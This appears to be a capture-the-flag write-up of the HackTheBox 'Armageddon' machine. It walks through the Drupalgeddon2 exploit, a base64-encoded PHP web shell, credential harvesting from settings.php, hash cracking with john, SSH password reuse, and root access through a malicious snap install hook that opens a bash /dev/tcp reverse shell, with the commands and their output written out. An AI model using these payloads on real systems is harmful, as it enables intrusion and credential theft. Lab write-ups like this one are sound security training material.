Recon to foothold
Scan scan scan!
rob:Armageddon/ $ nmap -A -T4 -p- -v 10.10.10.233
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 12:34 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Initiating Ping Scan at 12:34
Scanning 10.10.10.233 [2 ports]
Completed Ping Scan at 12:34, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:34
Completed Parallel DNS resolution of 1 host. at 12:34, 0.03s elapsed
Initiating Connect Scan at 12:34
Scanning 10.10.10.233 [65535 ports]
Discovered open port 80/tcp on 10.10.10.233
Discovered open port 22/tcp on 10.10.10.233
Completed Connect Scan at 12:34, 10.48s elapsed (65535 total ports)
Initiating Service scan at 12:34
Scanning 2 services on 10.10.10.233
Completed Service scan at 12:34, 6.27s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.233.
Initiating NSE at 12:34
Completed NSE at 12:34, 1.88s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.32s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Nmap scan report for 10.10.10.233
Host is up (0.025s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon
NSE: Script Post-scanning.
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.44 seconds
Alright, so we have an SSH service on port 22 and an Apache web server on port 80 running Drupal
There is an option to create a new account, but it doesn’t seem to be functional in this instance given that it messages the administrator for approval
Doing some googling to learn about Drupal we find this, Drupalgeddon2, which seems like a good tie in with the box name apart from anything else
The exploit uses CVE-2018-7600 which says
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configuration
From our nmap scan we can see we have Drupal 7, so that seems like a good fit. Let’s give it a go
rob:Drupalgeddon2/ (master) $ ruby drupalgeddon2.rb http://10.10.10.233/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
--------------------------------------------------------------------------------
[+] Found : http://10.10.10.233/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo UEHEEXTD
[+] Result : UEHEEXTD
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.10.10.233/shell.php)
[!] Response: HTTP 200 // Size: 6. ***Something could already be there?***
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell: curl 'http://10.10.10.233/shell.php' -d 'c=hostname'
armageddon.htb>> id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
Excellent, it worked!
We don’t have a genuine shell here, but it’s usable and we can use it to upgrade to a full shell. First let’s do a little manual enumeration
- We have one non-root user with a shell,
brucetherealadmin
- We’re not able to see the files in
/home
or below though
armageddon.htb>> ls -la /home
ls: cannot open directory /home: Permission denied
armageddon.htb>> ls -lad /home
drwxr-xr-x. 3 root root 31 Dec 3 15:45 /home
We can check acls too in case that’s keeping us out
armageddon.htb>> getfacl /home
getfacl: Removing leading '/' from absolute path names
# file: home
# owner: root
# group: root
user::rwx
group::r-x
other::r-x
And no, that’s not responsible either!
- It looks very much like we are in a container although an attempt has been made to obfuscate that (deleting
/.docker
for example) - As we work through this there are a few challenges, we are not able to create an upgradeable reverse shell, there is definitely some network filtering happening, and perhaps more complete WAF functionality as trying to reach port 80 doesn’t work for a shell while we can reach a web server
Metasploit has a Drupalgeddon2 module, let’s try that
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
[*] Started reverse TCP handler on 10.10.14.8:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.233:39890) at 2021-05-24 20:00:28 +0100
meterpreter > sysinfo
Computer : armageddon.htb
OS : Linux armageddon.htb 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64
Meterpreter : php/linux
Ok, we’re in with a meterpreter session. Let’s see how we get on from here
In the /var/www/html/sites/default/settings.php
file we can find details of the database credentials
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
Let’s see if we can connect to that mysql instance and find anything interesting
mysql -D drupal -u drupaluser -pCQHEy@9M*m23gBVj -e 'show tables;' | grep user
shortcut_set_users
users
users_roles
mysql -D drupal -u drupaluser -pCQHEy@9M*m23gBVj -e 'select * from users;'
uid name pass mail theme signature signature_format created access login status timezone language picture init data
0 NULL 0 0 0 0 NULL 0 NULL
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;}
3 allfun $S$Dx3DgM5aOgUQNmPtb13LzZUkOj6GQZ8lw6vpKOVrL1dwMCrtg1Su allfun@me.com filtered_html 1621856841 0 0 0 Europe/London 0 allfun@me.com NULL
4 allfun2 $S$DiRk0Ki8vRAb.IE3u7trKCmgQ/8LIIto.qnhwnkswCZzw.JwX9P3 allfun2@me.com filtered_html 1621856958 0 0 0 Europe/London 0 allfun2@me.com NULL
Ok, we find a hash for brucetherealadmin
which we can hopefully crack with john
rob:Armageddon/ $ echo -n '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > brucetherealadmin.hash
rob:Armageddon/ $ john brucetherealadmin.hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo (?)
1g 0:00:00:00 DONE (2021-05-24 21:07) 2.941g/s 752.9p/s 752.9c/s 752.9C/s tiffany..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now, we have website creds, brucetherealadmin:booboo
, but let’s check if Bruce likes to reuse his credentials
rob:Armageddon/ $ ssh brucetherealadmin@10.10.10.233
The authenticity of host '10.10.10.233 (10.10.10.233)' can't be established.
ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.233' (ECDSA) to the list of known hosts.
brucetherealadmin@10.10.10.233's password:
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$
Yes he does! We’re in, let’s see if we can grab the user flag now
[brucetherealadmin@armageddon ~]$ cat user.txt
`REDACTED`
Privesc to root
Let’s start by seeing if user brucetherealadmin
has any sudo rights
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
Excellent, we have a sudo exploit for snap
in GTFOBins, let’s try using that. First we must install fpm
on our attack machine
rob:Armageddon/ $ sudo gem install --no-document fpm
[sudo] password for rob:
Fetching io-like-0.3.1.gem
Fetching mustache-0.99.8.gem
--snip--
Successfully installed backports-3.21.0
Successfully installed arr-pm-0.0.10
Successfully installed fpm-1.12.0
14 gems installed
And now we can generate a malicious package
rob:Armageddon/ $ COMMAND='/bin/bash -p'
rob:Armageddon/ $ cd $(mktemp -d)
rob:tmp.IBfIxgoOot/ $ mkdir -p meta/hooks
rob:tmp.IBfIxgoOot/ $ printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
rob:tmp.IBfIxgoOot/ $ chmod +x meta/hooks/install
rob:tmp.IBfIxgoOot/ $ fpm -n xxxx -s dir -t snap -a all meta
Created package {:path=>"xxxx_1.0_all.snap"}
Now if we transfer this to the target we should be able to get a root shell
[brucetherealadmin@armageddon ~]$ sudo -u root /usr/bin/snap install xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": exit status 1)
Oh dear, that’s not supposed to happen!!
Confusingly when we try again with the example used in GTFOBins, COMMAND=id
, we get an output that seems to have both the same error and command execution
[brucetherealadmin@armageddon ~]$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0)
So it appears that it is executing the command, let’s try for a reverse shell then. We generate the .snap
file with COMMAND='bash -c "bash -i >& /dev/tcp/10.10.14.8/80 0>&1"'
and run it as before
rob:~/ $ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.233] 54278
bash: cannot set terminal process group (11934): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
And we catch a root shell in our waiting listener
Let’s finish up by collecting the root flag then
bash-4.3# cat root.txt
`REDACTED`